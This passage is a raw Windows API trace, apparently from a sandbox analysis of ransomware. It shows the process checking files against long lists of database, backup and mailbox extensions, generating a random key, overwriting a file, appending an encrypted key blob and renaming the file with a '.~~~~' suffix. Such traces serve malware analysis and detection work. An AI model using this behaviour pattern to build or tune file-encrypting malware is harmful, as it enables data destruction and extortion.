	[0082.939] lstrlenW (lpString=".BAK") returned 4
	[0082.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".BAK") returned 0x0
	[0082.939] lstrlenW (lpString=".BAC") returned 4
	[0082.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".BAC") returned 0x0
	[0082.939] lstrlenW (lpString=".dbs") returned 4
	[0082.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".dbs") returned 0x0
	[0082.939] lstrlenW (lpString=".vhdx") returned 5
	[0082.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".vhdx") returned 0x0
	[0082.939] lstrlenW (lpString=".NDF") returned 4
	[0082.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".NDF") returned 0x0
	[0082.939] lstrlenW (lpString=".dat") returned 4
	[0082.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".dat") returned 0x0
	[0082.939] lstrlenW (lpString=".DBS") returned 4
	[0082.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".DBS") returned 0x0
	[0082.940] lstrlenW (lpString=".CKP") returned 4
	[0082.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".CKP") returned 0x0
	[0082.940] lstrlenW (lpString=".edb") returned 4
	[0082.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".edb") returned 0x0
	[0082.940] lstrlenW (lpString=".PST") returned 4
	[0082.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".PST") returned 0x0
	[0082.940] lstrlenW (lpString=".dbf") returned 4
	[0082.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".dbf") returned 0x0
	[0082.940] lstrlenW (lpString=".SQL") returned 4
	[0082.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".SQL") returned 0x0
	[0082.940] lstrlenW (lpString=".pst") returned 4
	[0082.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".pst") returned 0x0
	[0082.940] lstrlenW (lpString=".dbv") returned 4
	[0082.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".dbv") returned 0x0
	[0082.940] lstrlenW (lpString=".SDF") returned 4
	[0082.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".SDF") returned 0x0
	[0082.940] lstrlenW (lpString=".dtxs") returned 5
	[0082.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".dtxs") returned 0x0
	[0082.940] lstrlenW (lpString=".db3") returned 4
	[0082.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".db3") returned 0x0
	[0082.940] lstrlenW (lpString=".OST") returned 4
	[0082.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".OST") returned 0x0
	[0082.940] lstrlenW (lpString=".dbx") returned 4
	[0082.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".dbx") returned 0x0
	[0082.940] lstrlenW (lpString=".DB3") returned 4
	[0082.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".DB3") returned 0x0
	[0082.941] lstrlenW (lpString=".DAT") returned 4
	[0082.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".DAT") returned 0x0
	[0082.941] lstrlenW (lpString=".VHDX") returned 5
	[0082.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".VHDX") returned 0x0
	[0082.941] lstrlenW (lpString=".ndf") returned 4
	[0082.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".ndf") returned 0x0
	[0082.941] lstrlenW (lpString=".DB") returned 3
	[0082.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".DB") returned 0x0
	[0082.941] lstrlenW (lpString=".sql") returned 4
	[0082.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".sql") returned 0x0
	[0082.941] lstrlenW (lpString=".MYD") returned 4
	[0082.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".MYD") returned 0x0
	[0082.941] lstrlenW (lpString=".DBT") returned 4
	[0082.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".DBT") returned 0x0
	[0082.941] lstrlenW (lpString=".ACCDB") returned 6
	[0082.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".ACCDB") returned 0x0
	[0082.941] lstrlenW (lpString=".fdb") returned 4
	[0082.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".fdb") returned 0x0
	[0082.941] lstrlenW (lpString=".bak") returned 4
	[0082.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".bak") returned 0x0
	[0082.941] lstrlenW (lpString=".myd") returned 4
	[0082.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".myd") returned 0x0
	[0082.941] lstrlenW (lpString=".DTXS") returned 5
	[0082.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".DTXS") returned 0x0
	[0082.941] lstrlenW (lpString=".ckp") returned 4
	[0082.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".ckp") returned 0x0
	[0082.942] lstrlenW (lpString=".dbt") returned 4
	[0082.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".dbt") returned 0x0
	[0082.942] lstrlenW (lpString=".db") returned 3
	[0082.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".db") returned 0x0
	[0082.942] lstrlenW (lpString=".TXT") returned 4
	[0082.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".TXT") returned 0x0
	[0082.942] lstrlenW (lpString=".MDF") returned 4
	[0082.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".MDF") returned 0x0
	[0082.942] lstrlenW (lpString=".bdb") returned 4
	[0082.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".bdb") returned 0x0
	[0082.942] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0082.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.942] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0082.943] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.943] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0082.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0082.944] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20293372664) returned 1
	[0082.944] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9b482a70, dwHighDateTime=0x1d60e1e)) 
	[0082.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0082.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0082.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0082.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac900
	[0082.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac900 | out: hHeap=0x300000) returned 1
	[0082.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa5b0
	[0082.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c588
	[0082.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa5b0 | out: hHeap=0x300000) returned 1
	[0082.944] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0082.944] GetLastError () returned 0x0
	[0082.945] GetLastError () returned 0x0
	[0082.945] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0082.945] GetLastError () returned 0x0
	[0082.945] GetLastError () returned 0x0
	[0082.950] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.950] WriteFile (in: hFile=0x11c, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.952] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0082.952] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.952] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.094] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.110] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.110] CloseHandle (hObject=0x11c) returned 1
	[0083.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aad90
	[0083.110] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv.~~~~")) returned 1
	[0083.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aad90 | out: hHeap=0x300000) returned 1
	[0083.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0083.111] GetLastError () returned 0x0
	[0083.111] RtlWakeConditionVariable () returned 0x365f70
	[0083.111] GetCurrentThreadId () returned 0xaf0
	[0083.111] GetCurrentThreadId () returned 0xaf0
	[0083.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aad90
	[0083.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aac40 | out: hHeap=0x300000) returned 1
	[0083.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac660 | out: hHeap=0x300000) returned 1
	[0083.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aac40
	[0083.111] lstrlenW (lpString=".scr") returned 4
	[0083.111] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0083.111] lstrlenW (lpString=".cmd") returned 4
	[0083.111] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0083.111] lstrlenW (lpString=".dll") returned 4
	[0083.111] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0083.111] lstrlenW (lpString=".bat") returned 4
	[0083.111] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0083.112] lstrlenW (lpString=".cpl") returned 4
	[0083.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0083.112] lstrlenW (lpString=".sys") returned 4
	[0083.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0083.112] lstrlenW (lpString=".msc") returned 4
	[0083.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0083.112] lstrlenW (lpString=".com") returned 4
	[0083.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0083.112] lstrlenW (lpString=".lnk") returned 4
	[0083.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0083.112] lstrlenW (lpString=".msp") returned 4
	[0083.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0083.112] lstrlenW (lpString=".pif") returned 4
	[0083.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0083.112] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0083.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0083.113] lstrlenW (lpString=".sqb") returned 4
	[0083.113] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0083.113] lstrlenW (lpString=".ost") returned 4
	[0083.113] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0083.113] lstrlenW (lpString=".txt") returned 4
	[0083.113] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0083.113] lstrlenW (lpString=".mdt") returned 4
	[0083.113] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0083.113] lstrlenW (lpString=".BDB") returned 4
	[0083.113] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0083.113] lstrlenW (lpString=".eql") returned 4
	[0083.113] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0083.113] lstrlenW (lpString=".DBF") returned 4
	[0083.113] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0083.113] lstrlenW (lpString=".EQL") returned 4
	[0083.113] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0083.113] lstrlenW (lpString=".FDB") returned 4
	[0083.113] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0083.113] lstrlenW (lpString=".EDB") returned 4
	[0083.113] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0083.113] lstrlenW (lpString=".DACPAC") returned 7
	[0083.113] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0083.113] lstrlenW (lpString=".VHD") returned 4
	[0083.113] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0083.114] lstrlenW (lpString=".DBV") returned 4
	[0083.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0083.114] lstrlenW (lpString=".dacpac") returned 7
	[0083.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0083.114] lstrlenW (lpString=".sdf") returned 4
	[0083.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0083.114] lstrlenW (lpString=".accdb") returned 6
	[0083.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0083.114] lstrlenW (lpString=".DBX") returned 4
	[0083.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0083.114] lstrlenW (lpString=".MDT") returned 4
	[0083.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0083.114] lstrlenW (lpString=".SQB") returned 4
	[0083.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0083.114] lstrlenW (lpString=".vhd") returned 4
	[0083.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0083.114] lstrlenW (lpString=".bac") returned 4
	[0083.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0083.114] lstrlenW (lpString=".mdf") returned 4
	[0083.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0083.114] lstrlenW (lpString=".BAK") returned 4
	[0083.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0083.114] lstrlenW (lpString=".BAC") returned 4
	[0083.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0083.114] lstrlenW (lpString=".dbs") returned 4
	[0083.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0083.114] lstrlenW (lpString=".vhdx") returned 5
	[0083.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0083.115] lstrlenW (lpString=".NDF") returned 4
	[0083.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0083.115] lstrlenW (lpString=".dat") returned 4
	[0083.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0083.115] lstrlenW (lpString=".DBS") returned 4
	[0083.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0083.115] lstrlenW (lpString=".CKP") returned 4
	[0083.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0083.115] lstrlenW (lpString=".edb") returned 4
	[0083.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0083.115] lstrlenW (lpString=".PST") returned 4
	[0083.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0083.115] lstrlenW (lpString=".dbf") returned 4
	[0083.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0083.115] lstrlenW (lpString=".SQL") returned 4
	[0083.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0083.115] lstrlenW (lpString=".pst") returned 4
	[0083.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0083.115] lstrlenW (lpString=".dbv") returned 4
	[0083.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0083.115] lstrlenW (lpString=".SDF") returned 4
	[0083.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0083.115] lstrlenW (lpString=".dtxs") returned 5
	[0083.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0083.116] lstrlenW (lpString=".db3") returned 4
	[0083.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0083.116] lstrlenW (lpString=".OST") returned 4
	[0083.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0083.116] lstrlenW (lpString=".dbx") returned 4
	[0083.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0083.116] lstrlenW (lpString=".DB3") returned 4
	[0083.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0083.116] lstrlenW (lpString=".DAT") returned 4
	[0083.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0083.116] lstrlenW (lpString=".VHDX") returned 5
